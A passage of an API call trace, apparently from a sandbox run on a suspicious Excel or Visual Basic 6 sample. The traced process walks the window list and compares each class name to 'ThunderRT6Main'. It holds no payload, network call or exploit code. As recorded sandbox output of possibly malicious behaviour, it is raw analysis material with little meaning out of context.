	[0224.846] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1
	[0224.846] GetWindowThreadProcessId (in: hWnd=0x10078, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x428
	[0224.846] GetWindow (hWnd=0x10078, uCmd=0x2) returned 0x10074
	[0224.846] GetClassNameA (in: hWnd=0x10074, lpClassName=0x2889d0, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16
	[0224.846] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1
	[0224.846] GetWindowThreadProcessId (in: hWnd=0x10074, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x428
	[0224.846] GetWindow (hWnd=0x10074, uCmd=0x2) returned 0x10052
	[0224.846] GetClassNameA (in: hWnd=0x10052, lpClassName=0x2889d0, nMaxCount=64 | out: lpClassName="MSCTFIME UI") returned 11
	[0224.846] lstrcmpA (lpString1="MSCTFIME UI", lpString2="ThunderRT6Main") returned -1
	[0224.846] GetWindowThreadProcessId (in: hWnd=0x10052, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x428
	[0224.846] GetWindow (hWnd=0x10052, uCmd=0x2) returned 0x1004e
	[0224.846] GetClassNameA (in: hWnd=0x1004e, lpClassName=0x2889d0, nMaxCount=64 | out: lpClassName="IME") returned 3
	[0224.846] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1
	[0224.846] GetWindowThreadProcessId (in: hWnd=0x1004e, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x428
	[0224.846] GetWindow (hWnd=0x1004e, uCmd=0x2) returned 0x10054
	[0224.846] GetClassNameA (in: hWnd=0x10054, lpClassName=0x2889d0, nMaxCount=64 | out: lpClassName="Button") returned 6
	[0224.846] lstrcmpA (lpString1="Button", lpString2="ThunderRT6Main") returned -1
	[0224.846] GetWindowThreadProcessId (in: hWnd=0x10054, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x428
	[0224.846] GetWindow (hWnd=0x10054, uCmd=0x2) returned 0x10050
	[0224.846] GetClassNameA (in: hWnd=0x10050, lpClassName=0x2889d0, nMaxCount=64 | out: lpClassName="Shell_TrayWnd") returned 13
	[0224.846] lstrcmpA (lpString1="Shell_TrayWnd", lpString2="ThunderRT6Main") returned -1
	[0224.846] GetWindowThreadProcessId (in: hWnd=0x10050, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x428
	[0224.846] GetWindow (hWnd=0x10050, uCmd=0x2) returned 0x100f4
	[0224.846] GetClassNameA (in: hWnd=0x100f4, lpClassName=0x2889d0, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16
	[0224.846] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1
	[0224.846] GetWindowThreadProcessId (in: hWnd=0x100f4, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x3a0
	[0224.846] GetWindow (hWnd=0x100f4, uCmd=0x2) returned 0x5009a
	[0224.846] GetClassNameA (in: hWnd=0x5009a, lpClassName=0x2889d0, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16
	[0224.846] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1
	[0224.846] GetWindowThreadProcessId (in: hWnd=0x5009a, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x428
	[0224.846] GetWindow (hWnd=0x5009a, uCmd=0x2) returned 0x1008c
	[0224.846] GetClassNameA (in: hWnd=0x1008c, lpClassName=0x2889d0, nMaxCount=64 | out: lpClassName="TaskListThumbnailWnd") returned 20
	[0224.847] lstrcmpA (lpString1="TaskListThumbnailWnd", lpString2="ThunderRT6Main") returned -1
	[0224.847] GetWindowThreadProcessId (in: hWnd=0x1008c, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x428
	[0224.847] GetWindow (hWnd=0x1008c, uCmd=0x2) returned 0x200e6
	[0224.847] GetClassNameA (in: hWnd=0x200e6, lpClassName=0x2889d0, nMaxCount=64 | out: lpClassName="Desktop User Picture") returned 20
	[0224.847] lstrcmpA (lpString1="Desktop User Picture", lpString2="ThunderRT6Main") returned -1
	[0224.847] GetWindowThreadProcessId (in: hWnd=0x200e6, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x428
	[0224.847] GetWindow (hWnd=0x200e6, uCmd=0x2) returned 0x10226
	[0224.847] GetClassNameA (in: hWnd=0x10226, lpClassName=0x2889d0, nMaxCount=64 | out: lpClassName="MSCTFIME UI") returned 11
	[0224.847] lstrcmpA (lpString1="MSCTFIME UI", lpString2="ThunderRT6Main") returned -1
	[0224.847] GetWindowThreadProcessId (in: hWnd=0x10226, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x8e8
	[0224.847] GetWindowLongA (hWnd=0x10226, nIndex=-16) returned -1946157056
	[0224.847] GetWindowLongPtrA (hWnd=0x10226, nIndex=-6) returned 0x0
	[0224.847] GetWindowLongPtrA (hWnd=0x10226, nIndex=-6) returned 0x0
	[0224.847] GetWindow (hWnd=0x10226, uCmd=0x2) returned 0x201a4
	[0224.847] GetClassNameA (in: hWnd=0x201a4, lpClassName=0x2889d0, nMaxCount=64 | out: lpClassName="IME") returned 3
	[0224.847] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1
	[0224.847] GetWindowThreadProcessId (in: hWnd=0x201a4, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x8e8
	[0224.847] GetWindowLongA (hWnd=0x201a4, nIndex=-16) returned -1946157056
	[0224.847] GetWindowLongPtrA (hWnd=0x201a4, nIndex=-6) returned 0x13f510000
	[0224.847] GetWindowLongPtrA (hWnd=0x201a4, nIndex=-6) returned 0x13f510000
	[0224.847] GetWindow (hWnd=0x201a4, uCmd=0x2) returned 0x40216
	[0224.847] GetClassNameA (in: hWnd=0x40216, lpClassName=0x2889d0, nMaxCount=64 | out: lpClassName="XLMAIN") returned 6
	[0224.847] lstrcmpA (lpString1="XLMAIN", lpString2="ThunderRT6Main") returned 1
	[0224.847] GetWindowThreadProcessId (in: hWnd=0x40216, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x8e8
	[0224.847] GetWindowLongA (hWnd=0x40216, nIndex=-16) returned 382664704
	[0224.847] GetWindowLongPtrA (hWnd=0x40216, nIndex=-6) returned 0x13f510000
	[0224.847] GetWindowLongPtrA (hWnd=0x40216, nIndex=-6) returned 0x13f510000
	[0224.847] GetWindow (hWnd=0x40216, uCmd=0x2) returned 0x20268
	[0224.847] GetClassNameA (in: hWnd=0x20268, lpClassName=0x2889d0, nMaxCount=64 | out: lpClassName="MSO_BORDEREFFECT_WINDOW_CLASS") returned 29
	[0224.847] lstrcmpA (lpString1="MSO_BORDEREFFECT_WINDOW_CLASS", lpString2="ThunderRT6Main") returned -1
	[0224.847] GetWindowThreadProcessId (in: hWnd=0x20268, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x8e8
	[0224.847] GetWindowLongA (hWnd=0x20268, nIndex=-16) returned -1778384896
	[0224.847] GetWindowLongPtrA (hWnd=0x20268, nIndex=-6) returned 0x0
	[0224.847] GetWindowLongPtrA (hWnd=0x20268, nIndex=-6) returned 0x0
	[0224.847] GetWindow (hWnd=0x20268, uCmd=0x2) returned 0x3026a
	[0224.847] GetClassNameA (in: hWnd=0x3026a, lpClassName=0x2889d0, nMaxCount=64 | out: lpClassName="MSO_BORDEREFFECT_WINDOW_CLASS") returned 29
	[0224.847] lstrcmpA (lpString1="MSO_BORDEREFFECT_WINDOW_CLASS", lpString2="ThunderRT6Main") returned -1
	[0224.847] GetWindowThreadProcessId (in: hWnd=0x3026a, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x8e8
	[0224.847] GetWindowLongA (hWnd=0x3026a, nIndex=-16) returned -1778384896
	[0224.847] GetWindowLongPtrA (hWnd=0x3026a, nIndex=-6) returned 0x0
	[0224.847] GetWindowLongPtrA (hWnd=0x3026a, nIndex=-6) returned 0x0
	[0224.847] GetWindow (hWnd=0x3026a, uCmd=0x2) returned 0x202c6
	[0224.848] GetClassNameA (in: hWnd=0x202c6, lpClassName=0x2889d0, nMaxCount=64 | out: lpClassName="MSO_BORDEREFFECT_WINDOW_CLASS") returned 29
	[0224.848] lstrcmpA (lpString1="MSO_BORDEREFFECT_WINDOW_CLASS", lpString2="ThunderRT6Main") returned -1
	[0224.848] GetWindowThreadProcessId (in: hWnd=0x202c6, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x8e8
	[0224.848] GetWindowLongA (hWnd=0x202c6, nIndex=-16) returned -1778384896
	[0224.848] GetWindowLongPtrA (hWnd=0x202c6, nIndex=-6) returned 0x0
	[0224.848] GetWindowLongPtrA (hWnd=0x202c6, nIndex=-6) returned 0x0
	[0224.848] GetWindow (hWnd=0x202c6, uCmd=0x2) returned 0x20260
	[0224.848] GetClassNameA (in: hWnd=0x20260, lpClassName=0x2889d0, nMaxCount=64 | out: lpClassName="MSO_BORDEREFFECT_WINDOW_CLASS") returned 29
	[0224.848] lstrcmpA (lpString1="MSO_BORDEREFFECT_WINDOW_CLASS", lpString2="ThunderRT6Main") returned -1
	[0224.848] GetWindowThreadProcessId (in: hWnd=0x20260, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x8e8
	[0224.848] GetWindowLongA (hWnd=0x20260, nIndex=-16) returned -1778384896
	[0224.848] GetWindowLongPtrA (hWnd=0x20260, nIndex=-6) returned 0x0
	[0224.848] GetWindowLongPtrA (hWnd=0x20260, nIndex=-6) returned 0x0
	[0224.848] GetWindow (hWnd=0x20260, uCmd=0x2) returned 0x3022a
	[0224.848] GetClassNameA (in: hWnd=0x3022a, lpClassName=0x2889d0, nMaxCount=64 | out: lpClassName="MsoStdCompMgr") returned 13
	[0224.848] lstrcmpA (lpString1="MsoStdCompMgr", lpString2="ThunderRT6Main") returned -1
	[0224.848] GetWindowThreadProcessId (in: hWnd=0x3022a, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x8e8
	[0224.848] GetWindowLongA (hWnd=0x3022a, nIndex=-16) returned -2080374784
	[0224.848] GetWindowLongPtrA (hWnd=0x3022a, nIndex=-6) returned 0x7fef2840000
	[0224.848] GetWindowLongPtrA (hWnd=0x3022a, nIndex=-6) returned 0x7fef2840000
	[0224.848] GetWindow (hWnd=0x3022a, uCmd=0x2) returned 0x202b0
	[0224.848] GetClassNameA (in: hWnd=0x202b0, lpClassName=0x2889d0, nMaxCount=64 | out: lpClassName="ThunderMain") returned 11
	[0224.848] lstrcmpA (lpString1="ThunderMain", lpString2="ThunderRT6Main") returned -1
	[0224.848] GetWindowThreadProcessId (in: hWnd=0x202b0, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x8e8
	[0224.848] GetWindowLongA (hWnd=0x202b0, nIndex=-16) returned -1946157056
	[0224.848] GetWindowLongPtrA (hWnd=0x202b0, nIndex=-6) returned 0x7fee5d60000
	[0224.848] IsWindowEnabled (hWnd=0x202b0) returned 0
	[0224.848] GetPropA (hWnd=0x202b0, lpString=0xc13a) returned 0x1
	[0224.848] RemovePropA (hWnd=0x202b0, lpString=0xc13a) returned 0x1
	[0224.848] EnableWindow (hWnd=0x202b0, bEnable=1) returned 1
	[0224.848] GetWindow (hWnd=0x202b0, uCmd=0x2) returned 0x2026c
	[0224.848] GetClassNameA (in: hWnd=0x2026c, lpClassName=0x2889d0, nMaxCount=64 | out: lpClassName="ComboLBox") returned 9
	[0224.848] lstrcmpA (lpString1="ComboLBox", lpString2="ThunderRT6Main") returned -1
	[0224.848] GetWindowThreadProcessId (in: hWnd=0x2026c, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x8e8
	[0224.848] GetWindowLongA (hWnd=0x2026c, nIndex=-16) returned 1149272145
	[0224.848] GetWindow (hWnd=0x2026c, uCmd=0x2) returned 0x202d4
	[0224.848] GetClassNameA (in: hWnd=0x202d4, lpClassName=0x2889d0, nMaxCount=64 | out: lpClassName="OleDdeWndClass") returned 14
	[0224.848] lstrcmpA (lpString1="OleDdeWndClass", lpString2="ThunderRT6Main") returned -1
	[0224.848] GetWindowThreadProcessId (in: hWnd=0x202d4, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x8e8
	[0224.848] GetWindowLongA (hWnd=0x202d4, nIndex=-16) returned -2080374784
	[0224.849] GetWindowLongPtrA (hWnd=0x202d4, nIndex=-6) returned 0x7feffa40000
	[0224.849] GetWindowLongPtrA (hWnd=0x202d4, nIndex=-6) returned 0x7feffa40000
	[0224.849] GetWindow (hWnd=0x202d4, uCmd=0x2) returned 0x101e0
	[0224.849] GetClassNameA (in: hWnd=0x101e0, lpClassName=0x2889d0, nMaxCount=64 | out: lpClassName="XLMAIN") returned 6
	[0224.849] lstrcmpA (lpString1="XLMAIN", lpString2="ThunderRT6Main") returned 1
	[0224.849] GetWindowThreadProcessId (in: hWnd=0x101e0, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x8e8
	[0224.849] GetWindowLongA (hWnd=0x101e0, nIndex=-16) returned 516882432
	[0224.849] GetWindowLongPtrA (hWnd=0x101e0, nIndex=-6) returned 0x13f510000
	[0224.849] GetWindowLongPtrA (hWnd=0x101e0, nIndex=-6) returned 0x13f510000
	[0224.849] GetWindow (hWnd=0x101e0, uCmd=0x2) returned 0x1020a
	[0224.849] GetClassNameA (in: hWnd=0x1020a, lpClassName=0x2889d0, nMaxCount=64 | out: lpClassName="MSO_BORDEREFFECT_WINDOW_CLASS") returned 29
	[0224.849] lstrcmpA (lpString1="MSO_BORDEREFFECT_WINDOW_CLASS", lpString2="ThunderRT6Main") returned -1
	[0224.849] GetWindowThreadProcessId (in: hWnd=0x1020a, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x8e8
	[0224.849] GetWindowLongA (hWnd=0x1020a, nIndex=-16) returned -1778384896
	[0224.849] GetWindowLongPtrA (hWnd=0x1020a, nIndex=-6) returned 0x0
	[0224.849] GetWindowLongPtrA (hWnd=0x1020a, nIndex=-6) returned 0x0
	[0224.849] GetWindow (hWnd=0x1020a, uCmd=0x2) returned 0x1020c
	[0224.849] GetClassNameA (in: hWnd=0x1020c, lpClassName=0x2889d0, nMaxCount=64 | out: lpClassName="MSO_BORDEREFFECT_WINDOW_CLASS") returned 29
	[0224.849] lstrcmpA (lpString1="MSO_BORDEREFFECT_WINDOW_CLASS", lpString2="ThunderRT6Main") returned -1
	[0224.849] GetWindowThreadProcessId (in: hWnd=0x1020c, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x8e8
	[0224.849] GetWindowLongA (hWnd=0x1020c, nIndex=-16) returned -1778384896
	[0224.849] GetWindowLongPtrA (hWnd=0x1020c, nIndex=-6) returned 0x0
	[0224.849] GetWindowLongPtrA (hWnd=0x1020c, nIndex=-6) returned 0x0
	[0224.849] GetWindow (hWnd=0x1020c, uCmd=0x2) returned 0x1020e
	[0224.849] GetClassNameA (in: hWnd=0x1020e, lpClassName=0x2889d0, nMaxCount=64 | out: lpClassName="MSO_BORDEREFFECT_WINDOW_CLASS") returned 29
	[0224.849] lstrcmpA (lpString1="MSO_BORDEREFFECT_WINDOW_CLASS", lpString2="ThunderRT6Main") returned -1
	[0224.849] GetWindowThreadProcessId (in: hWnd=0x1020e, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x8e8
	[0224.849] GetWindowLongA (hWnd=0x1020e, nIndex=-16) returned -1778384896
	[0224.849] GetWindowLongPtrA (hWnd=0x1020e, nIndex=-6) returned 0x0
	[0224.849] GetWindowLongPtrA (hWnd=0x1020e, nIndex=-6) returned 0x0
	[0224.849] GetWindow (hWnd=0x1020e, uCmd=0x2) returned 0x10210
	[0224.849] GetClassNameA (in: hWnd=0x10210, lpClassName=0x2889d0, nMaxCount=64 | out: lpClassName="MSO_BORDEREFFECT_WINDOW_CLASS") returned 29
	[0224.849] lstrcmpA (lpString1="MSO_BORDEREFFECT_WINDOW_CLASS", lpString2="ThunderRT6Main") returned -1
	[0224.849] GetWindowThreadProcessId (in: hWnd=0x10210, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x8e8
	[0224.849] GetWindowLongA (hWnd=0x10210, nIndex=-16) returned -1778384896
	[0224.849] GetWindowLongPtrA (hWnd=0x10210, nIndex=-6) returned 0x0
	[0224.849] GetWindowLongPtrA (hWnd=0x10210, nIndex=-6) returned 0x0
	[0224.849] GetWindow (hWnd=0x10210, uCmd=0x2) returned 0x802a0
	[0224.849] GetClassNameA (in: hWnd=0x802a0, lpClassName=0x2889d0, nMaxCount=64 | out: lpClassName="OfficePowerManagerWindow") returned 24
	[0224.849] lstrcmpA (lpString1="OfficePowerManagerWindow", lpString2="ThunderRT6Main") returned -1
	[0224.849] GetWindowThreadProcessId (in: hWnd=0x802a0, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xaa8
	[0224.849] GetWindow (hWnd=0x802a0, uCmd=0x2) returned 0xc028a
	[0224.850] GetClassNameA (in: hWnd=0xc028a, lpClassName=0x2889d0, nMaxCount=64 | out: lpClassName="TASKENGINEWINDOWCLASS") returned 21
	[0224.850] lstrcmpA (lpString1="TASKENGINEWINDOWCLASS", lpString2="ThunderRT6Main") returned -1
	[0224.850] GetWindowThreadProcessId (in: hWnd=0xc028a, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xbe8
	[0224.850] GetWindow (hWnd=0xc028a, uCmd=0x2) returned 0x7010a
	[0224.850] GetClassNameA (in: hWnd=0x7010a, lpClassName=0x2889d0, nMaxCount=64 | out: lpClassName="IME") returned 3
	[0224.850] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1
	[0224.850] GetWindowThreadProcessId (in: hWnd=0x7010a, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xbe8
	[0224.850] GetWindow (hWnd=0x7010a, uCmd=0x2) returned 0x10296
	[0224.850] GetClassNameA (in: hWnd=0x10296, lpClassName=0x2889d0, nMaxCount=64 | out: lpClassName="WorkerW") returned 7
	[0224.850] lstrcmpA (lpString1="WorkerW", lpString2="ThunderRT6Main") returned 1
	[0224.850] GetWindowThreadProcessId (in: hWnd=0x10296, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xa7c
	[0224.850] GetWindow (hWnd=0x10296, uCmd=0x2) returned 0x30214
	[0224.850] GetClassNameA (in: hWnd=0x30214, lpClassName=0x2889d0, nMaxCount=64 | out: lpClassName="CFD File Open Message Window") returned 28
	[0224.850] lstrcmpA (lpString1="CFD File Open Message Window", lpString2="ThunderRT6Main") returned -1
	[0224.850] GetWindowThreadProcessId (in: hWnd=0x30214, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x8e8
	[0224.850] GetWindowLongA (hWnd=0x30214, nIndex=-16) returned 213909504
	[0224.850] GetWindowLongPtrA (hWnd=0x30214, nIndex=-6) returned 0x7feef690000
	[0224.850] GetWindowLongPtrA (hWnd=0x30214, nIndex=-6) returned 0x7feef690000
	[0224.850] GetWindow (hWnd=0x30214, uCmd=0x2) returned 0x101de
	[0224.850] GetClassNameA (in: hWnd=0x101de, lpClassName=0x2889d0, nMaxCount=64 | out: lpClassName="MSO_BORDEREFFECT_WINDOW_CLASS") returned 29
	[0224.850] lstrcmpA (lpString1="MSO_BORDEREFFECT_WINDOW_CLASS", lpString2="ThunderRT6Main") returned -1
	[0224.850] GetWindowThreadProcessId (in: hWnd=0x101de, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x8e8
	[0224.850] GetWindowLongA (hWnd=0x101de, nIndex=-16) returned -2046820352
	[0224.850] GetWindowLongPtrA (hWnd=0x101de, nIndex=-6) returned 0x0
	[0224.850] GetWindowLongPtrA (hWnd=0x101de, nIndex=-6) returned 0x0
	[0224.850] GetWindow (hWnd=0x101de, uCmd=0x2) returned 0x101dc
	[0224.850] GetClassNameA (in: hWnd=0x101dc, lpClassName=0x2889d0, nMaxCount=64 | out: lpClassName="MSO_BORDEREFFECT_WINDOW_CLASS") returned 29
	[0224.850] lstrcmpA (lpString1="MSO_BORDEREFFECT_WINDOW_CLASS", lpString2="ThunderRT6Main") returned -1
	[0224.850] GetWindowThreadProcessId (in: hWnd=0x101dc, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x8e8
	[0224.850] GetWindowLongA (hWnd=0x101dc, nIndex=-16) returned -2046820352
	[0224.850] GetWindowLongPtrA (hWnd=0x101dc, nIndex=-6) returned 0x0
	[0224.850] GetWindowLongPtrA (hWnd=0x101dc, nIndex=-6) returned 0x0
	[0224.850] GetWindow (hWnd=0x101dc, uCmd=0x2) returned 0x101da
	[0224.850] GetClassNameA (in: hWnd=0x101da, lpClassName=0x2889d0, nMaxCount=64 | out: lpClassName="MSO_BORDEREFFECT_WINDOW_CLASS") returned 29
	[0224.850] lstrcmpA (lpString1="MSO_BORDEREFFECT_WINDOW_CLASS", lpString2="ThunderRT6Main") returned -1
	[0224.850] GetWindowThreadProcessId (in: hWnd=0x101da, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x8e8
	[0224.850] GetWindowLongA (hWnd=0x101da, nIndex=-16) returned -2046820352
	[0224.850] GetWindowLongPtrA (hWnd=0x101da, nIndex=-6) returned 0x0
	[0224.850] GetWindowLongPtrA (hWnd=0x101da, nIndex=-6) returned 0x0
	[0224.850] GetWindow (hWnd=0x101da, uCmd=0x2) returned 0x101d8
	[0224.850] GetClassNameA (in: hWnd=0x101d8, lpClassName=0x2889d0, nMaxCount=64 | out: lpClassName="MSO_BORDEREFFECT_WINDOW_CLASS") returned 29
	[0224.851] lstrcmpA (lpString1="MSO_BORDEREFFECT_WINDOW_CLASS", lpString2="ThunderRT6Main") returned -1
	[0224.851] GetWindowThreadProcessId (in: hWnd=0x101d8, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x8e8
	[0224.851] GetWindowLongA (hWnd=0x101d8, nIndex=-16) returned -2046820352
	[0224.851] GetWindowLongPtrA (hWnd=0x101d8, nIndex=-6) returned 0x0
	[0224.851] GetWindowLongPtrA (hWnd=0x101d8, nIndex=-6) returned 0x0
	[0224.851] GetWindow (hWnd=0x101d8, uCmd=0x2) returned 0x201b2
	[0224.851] GetClassNameA (in: hWnd=0x201b2, lpClassName=0x2889d0, nMaxCount=64 | out: lpClassName="XLMAIN") returned 6
	[0224.851] lstrcmpA (lpString1="XLMAIN", lpString2="ThunderRT6Main") returned 1
	[0224.851] GetWindowThreadProcessId (in: hWnd=0x201b2, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x8e8
	[0224.851] GetWindowLongA (hWnd=0x201b2, nIndex=-16) returned 114229248
	[0224.851] GetWindowLongPtrA (hWnd=0x201b2, nIndex=-6) returned 0x13f510000
	[0224.851] GetWindowLongPtrA (hWnd=0x201b2, nIndex=-6) returned 0x13f510000
	[0224.851] GetWindow (hWnd=0x201b2, uCmd=0x2) returned 0x2015c
	[0224.851] GetClassNameA (in: hWnd=0x2015c, lpClassName=0x2889d0, nMaxCount=64 | out: lpClassName="OfficePowerManagerWindow") returned 24
	[0224.851] lstrcmpA (lpString1="OfficePowerManagerWindow", lpString2="ThunderRT6Main") returned -1
	[0224.851] GetWindowThreadProcessId (in: hWnd=0x2015c, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x900
	[0224.851] GetWindow (hWnd=0x2015c, uCmd=0x2) returned 0x201aa
	[0224.851] GetClassNameA (in: hWnd=0x201aa, lpClassName=0x2889d0, nMaxCount=64 | out: lpClassName="ARC Window Class O16") returned 20
	[0224.851] lstrcmpA (lpString1="ARC Window Class O16", lpString2="ThunderRT6Main") returned -1
	[0224.851] GetWindowThreadProcessId (in: hWnd=0x201aa, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x8e8
	[0224.851] GetWindowLongA (hWnd=0x201aa, nIndex=-16) returned -2080374784
	[0224.851] GetWindowLongPtrA (hWnd=0x201aa, nIndex=-6) returned 0x13f510000
	[0224.851] GetWindowLongPtrA (hWnd=0x201aa, nIndex=-6) returned 0x13f510000
	[0224.851] GetWindow (hWnd=0x201aa, uCmd=0x2) returned 0x1019e
	[0224.851] GetClassNameA (in: hWnd=0x1019e, lpClassName=0x2889d0, nMaxCount=64 | out: lpClassName="IME") returned 3
	[0224.851] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1
	[0224.851] GetWindowThreadProcessId (in: hWnd=0x1019e, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x830
	[0224.851] GetWindow (hWnd=0x1019e, uCmd=0x2) returned 0x1019c
	[0224.851] GetClassNameA (in: hWnd=0x1019c, lpClassName=0x2889d0, nMaxCount=64 | out: lpClassName="uzbekistan_") returned 11
	[0224.851] lstrcmpA (lpString1="uzbekistan_", lpString2="ThunderRT6Main") returned 1
	[0224.851] GetWindowThreadProcessId (in: hWnd=0x1019c, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x830
	[0224.851] GetWindow (hWnd=0x1019c, uCmd=0x2) returned 0x20206
	[0224.851] GetClassNameA (in: hWnd=0x20206, lpClassName=0x2889d0, nMaxCount=64 | out: lpClassName="ComboLBox") returned 9
	[0224.851] lstrcmpA (lpString1="ComboLBox", lpString2="ThunderRT6Main") returned -1
	[0224.851] GetWindowThreadProcessId (in: hWnd=0x20206, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x8e8
	[0224.851] GetWindowLongA (hWnd=0x20206, nIndex=-16) returned 1149272145
	[0224.851] GetWindow (hWnd=0x20206, uCmd=0x2) returned 0x101d4
	[0224.851] GetClassNameA (in: hWnd=0x101d4, lpClassName=0x2889d0, nMaxCount=64 | out: lpClassName="ComboLBox") returned 9
	[0224.851] lstrcmpA (lpString1="ComboLBox", lpString2="ThunderRT6Main") returned -1
	[0224.851] GetWindowThreadProcessId (in: hWnd=0x101d4, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x8e8
	[0224.851] GetWindowLongA (hWnd=0x101d4, nIndex=-16) returned 1149272145
	[0224.852] GetWindow (hWnd=0x101d4, uCmd=0x2) returned 0x10198
	[0224.852] GetClassNameA (in: hWnd=0x10198, lpClassName=0x2889d0, nMaxCount=64 | out: lpClassName="trendswindow") returned 12
	[0224.852] lstrcmpA (lpString1="trendswindow", lpString2="ThunderRT6Main") returned 1
	[0224.852] GetWindowThreadProcessId (in: hWnd=0x10198, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x820
	[0224.852] GetWindow (hWnd=0x10198, uCmd=0x2) returned 0x1019a
	[0224.852] GetClassNameA (in: hWnd=0x1019a, lpClassName=0x2889d0, nMaxCount=64 | out: lpClassName="IME") returned 3
	[0224.852] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1
	[0224.852] GetWindowThreadProcessId (in: hWnd=0x1019a, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x820
	[0224.852] GetWindow (hWnd=0x1019a, uCmd=0x2) returned 0x10194
	[0224.852] GetClassNameA (in: hWnd=0x10194, lpClassName=0x2889d0, nMaxCount=64 | out: lpClassName="Asin_intelligence_cls") returned 21
	[0224.852] lstrcmpA (lpString1="Asin_intelligence_cls", lpString2="ThunderRT6Main") returned -1
	[0224.852] GetWindowThreadProcessId (in: hWnd=0x10194, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x810
	[0224.852] GetWindow (hWnd=0x10194, uCmd=0x2) returned 0x10196
	[0224.852] GetClassNameA (in: hWnd=0x10196, lpClassName=0x2889d0, nMaxCount=64 | out: lpClassName="IME") returned 3
	[0224.852] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1
	[0224.852] GetWindowThreadProcessId (in: hWnd=0x10196, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x810
	[0224.852] GetWindow (hWnd=0x10196, uCmd=0x2) returned 0x10190
	[0224.852] GetClassNameA (in: hWnd=0x10190, lpClassName=0x2889d0, nMaxCount=64 | out: lpClassName="pulseagainstwin") returned 15
	[0224.852] lstrcmpA (lpString1="pulseagainstwin", lpString2="ThunderRT6Main") returned -1
	[0224.852] GetWindowThreadProcessId (in: hWnd=0x10190, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x90
	[0224.852] GetWindow (hWnd=0x10190, uCmd=0x2) returned 0x10192
	[0224.852] GetClassNameA (in: hWnd=0x10192, lpClassName=0x2889d0, nMaxCount=64 | out: lpClassName="IME") returned 3
	[0224.852] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1
	[0224.852] GetWindowThreadProcessId (in: hWnd=0x10192, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x90
	[0224.852] GetWindow (hWnd=0x10192, uCmd=0x2) returned 0x1018c
	[0224.852] GetClassNameA (in: hWnd=0x1018c, lpClassName=0x2889d0, nMaxCount=64 | out: lpClassName="Mint_wnd") returned 8
	[0224.852] lstrcmpA (lpString1="Mint_wnd", lpString2="ThunderRT6Main") returned -1
	[0224.852] GetWindowThreadProcessId (in: hWnd=0x1018c, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x20c
	[0224.852] GetWindow (hWnd=0x1018c, uCmd=0x2) returned 0x1018e
	[0224.852] GetClassNameA (in: hWnd=0x1018e, lpClassName=0x2889d0, nMaxCount=64 | out: lpClassName="IME") returned 3
	[0224.852] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1
